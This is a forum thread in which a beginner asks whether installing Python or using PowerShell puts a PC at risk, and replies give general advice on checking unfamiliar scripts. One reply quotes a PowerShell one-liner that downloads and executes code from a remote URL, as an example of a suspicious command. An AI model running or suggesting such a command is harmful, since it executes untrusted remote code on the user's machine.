To Python Coders - Beginner Concern

Discussion in 'PC' started by MusicBoy123, Sep 17, 2025 at 9:14 AM.

  1. MusicBoy123

    MusicBoy123 Member

    Joined:
    Nov 5, 2024
    Messages:
    78
    Likes Received:
    11
    Hi Guys,

    I have a very Stupid question -

    This is my 1st day of learning Python - so installed it and VS code/pycharm.

    Obviously, my PC has lot of warez installed - but all clean. No issues/virus as such. Malwarebytes installed and I scan frequently.

    Does installing Python make my PC more vulnerable to Viruses? like if they get hold of the program, they can run some malware codes through it? Should I stay away from Powershell ?

    Sorry, for stupid questions. I just want to be safe :)

    NOTE -
    Im learning from "Udemy - 100 Days of Code The Complete Python Pro Bootcamp - Dr. Angela Yu"

    Cheers
    G
     
    Last edited: Sep 17, 2025 at 1:58 PM
  2.  
  3. DanielFaraday

    DanielFaraday Platinum Record

    Joined:
    May 20, 2015
    Messages:
    645
    Likes Received:
    259
    Location:
    Ukraine
    No.

    No.
     
    • Agree Agree x 3
    • Love it! Love it! x 1
    • List
  4. Will Kweks

    Will Kweks Audiosexual

    Joined:
    Oct 31, 2023
    Messages:
    1,016
    Likes Received:
    685
    Not by itself, no. But you shouldn't run random Python scripts either without checking them out (or at least asking, that's how you learn).

    Be aware of unknown projects with a lot of weird dependencies though. How to spot those is another thing, but as long as you don't run random scripts you'll be fine.

    Same thing with Powershell, but those have more potential to cause havoc as PS exposes the entire Windows API. Common sense works here as well.

    Something like this in PS should raise a few eyebrows:

    Code:
    iex (iwr https://some.random.url).Content
    
     
  5. shinjiya

    shinjiya Rock Star

    Joined:
    Dec 25, 2018
    Messages:
    574
    Likes Received:
    354
    I've been doing Python for about 15 years. Python shouldn't put you at risk unless you're intentionally running dubious scripts or intentionally endangering yourself with your own coding. Python can do a lot of stuff, including bad stuff. But Python also doesn't need to be installed for Python code to be run on your computer by a third party, so it's a losing battle to be worried about installing Python putting you at risk when the existence of Python in itself already puts you at risk (and you've been fine all this time). The risk is somewhat similar to PowerShell.
     
  6. MusicBoy123

    MusicBoy123 Member

    Joined:
    Nov 5, 2024
    Messages:
    78
    Likes Received:
    11
    So basically python scripts are in format "file.py" right. I shouldn't run any file with .py format especially from an unknown source ?

    Also to avoid powershell - then I might stick with just VS code/pycharm to learn. or can VS code run powershell internally as well ?
     
  7. Will Kweks

    Will Kweks Audiosexual

    Joined:
    Oct 31, 2023
    Messages:
    1,016
    Likes Received:
    685
    Yes, VSCode can run Powershell scripts just like Python scripts, both require an extension though. The scripts themselves are safe to open in VS code; they're just text.

    It's not a bad habit to first look at a script and only then run if it looks alright. And it's not a bad idea to run the scripts in the command line, they tend to spit out more information out that way.

    Learning to spot possibly nasty scripts takes practice, but reading code and trying to understand it is a crucial component in learning to code. If not sure about something: don't run it and then ask.
     
  8. tzzsmk

    tzzsmk Audiosexual

    Joined:
    Sep 13, 2016
    Messages:
    4,186
    Likes Received:
    2,658
    Location:
    Heart of Europe
    ideally, you'd want a completely isolated environment, like virtual machine or dedicated computer,
    if you're just starting, I'd probably use some behavior-based firewall like Netlimiter (or LittleSnitch on Mac) to see what's going on through network and ability to block it
     
    • Agree Agree x 1
    • Love it! Love it! x 1
    • List
  9. MusicBoy123

    MusicBoy123 Member

    Joined:
    Nov 5, 2024
    Messages:
    78
    Likes Received:
    11
    This is Bang on advice! Thank you so much :D
    So, basically I dont need to worry - but I surely need to be more conscious about scripts - n that might help me learn faster and better as well
    Will try to build a habit of asking myself internally what does this code do logically
     
  10. MusicBoy123

    MusicBoy123 Member

    Joined:
    Nov 5, 2024
    Messages:
    78
    Likes Received:
    11
    So I use Malwarebytes and also Windows Firewall Control (if that helps)
    But obviously, when VS code and Pycharm asked for permissions - I allowed it
    VM is good idea but kinda complex :D I plan to get another laptop but that will also be Music laptop so will have warez :D
     
  11. MusicBoy123

    MusicBoy123 Member

    Joined:
    Nov 5, 2024
    Messages:
    78
    Likes Received:
    11
    15 years FTW! Any good Courses or Method to learn ?
    Im learning Python because I eventually want to get into AI ML and Data science (will learn libraries also) - that is the future and great money
     
  12. Will Kweks

    Will Kweks Audiosexual

    Joined:
    Oct 31, 2023
    Messages:
    1,016
    Likes Received:
    685
    If you're writing your own code (and not using any weird or exotic external libraries) then running in a VM is not necessary.

    There is a Python feature called "virtualenv" which has nothing to do with virtual machines, but which is quite necessary to learn eventually when doing Python. Don't confuse the two.

    Brush up on linear algebra, install Jupyter, and learn NumPy.
     
  13. Lois Lane

    Lois Lane Audiosexual

    Joined:
    Jan 16, 2019
    Messages:
    5,753
    Likes Received:
    5,782
    Location:
    Somewhere Over The Rainbow
    Watch out, if a python begins to constrict your computer then the only thing to do is use your Bowie knife to save it's life.

    [​IMG]
     
  14. tzzsmk

    tzzsmk Audiosexual

    Joined:
    Sep 13, 2016
    Messages:
    4,186
    Likes Received:
    2,658
    Location:
    Heart of Europe
    in the long run, you will want dedicated computer for audio, and dedicated hypervisor server for CI/CD developments and deployments (Proxmox + Docker + Forgejo or Gitea...) :wink:
     
Loading...
Similar Threads - Python Coders Beginner Forum Date
Audioz.Downloader [Real Debird] [Python] [Win] PC Jul 2, 2024
PYTHON: how to "translate" color codes to HEX colors? [SOLVED] Education Apr 7, 2024
Any Python experts (or even moderate skill) on here? Lounge Nov 5, 2018
Hanz APC 40 Python script for Ableton Live Software Aug 11, 2014
[SOLVED] XILS vocoders setup Software Apr 7, 2025
Loading...